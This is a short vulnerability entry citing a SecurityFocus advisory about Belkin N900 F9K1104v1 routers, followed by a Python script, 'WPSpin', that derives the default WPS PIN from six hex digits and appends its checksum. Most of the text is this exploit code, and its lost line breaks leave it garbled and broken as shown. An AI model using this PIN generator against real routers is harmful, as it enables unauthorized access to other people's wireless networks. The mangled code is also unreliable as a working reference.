source: https://www.securityfocus.com/bid/57128/info
Belkin Wireless Router is prone to a security vulnerability that may allow attackers to generate a default WPS PIN.
Successfully exploiting this issue may allow attackers to generate the default WPS PIN. This may lead to other attacks.
Belkin N900 F9K1104v1 is vulnerable; other versions may also be affected.@author: e.novellalorente@student.ru.nl
Original work : ZhaoChunsheng 04/07/2012'''
import sys
VERSION=0
SUBVERSION =2defusage():print"[+] WPSpin %d.%d "%(VERSION, SUBVERSION)print"[*] Usage : python WPSpin.py 123456"
sys.exit(0)defwps_pin_checksum(pin):
accum =0while(pin):
accum +=3*(pin %10)
pin /=10
accum += pin %10
pin /=10return(10- accum %10)%10try:if(len(sys.argv[1])==6):
p =int(sys.argv[1],16)%10000000print"[+] WPS pin is : %07d%d"%(p, wps_pin_checksum(p))else:
usage()except Exception:
usage()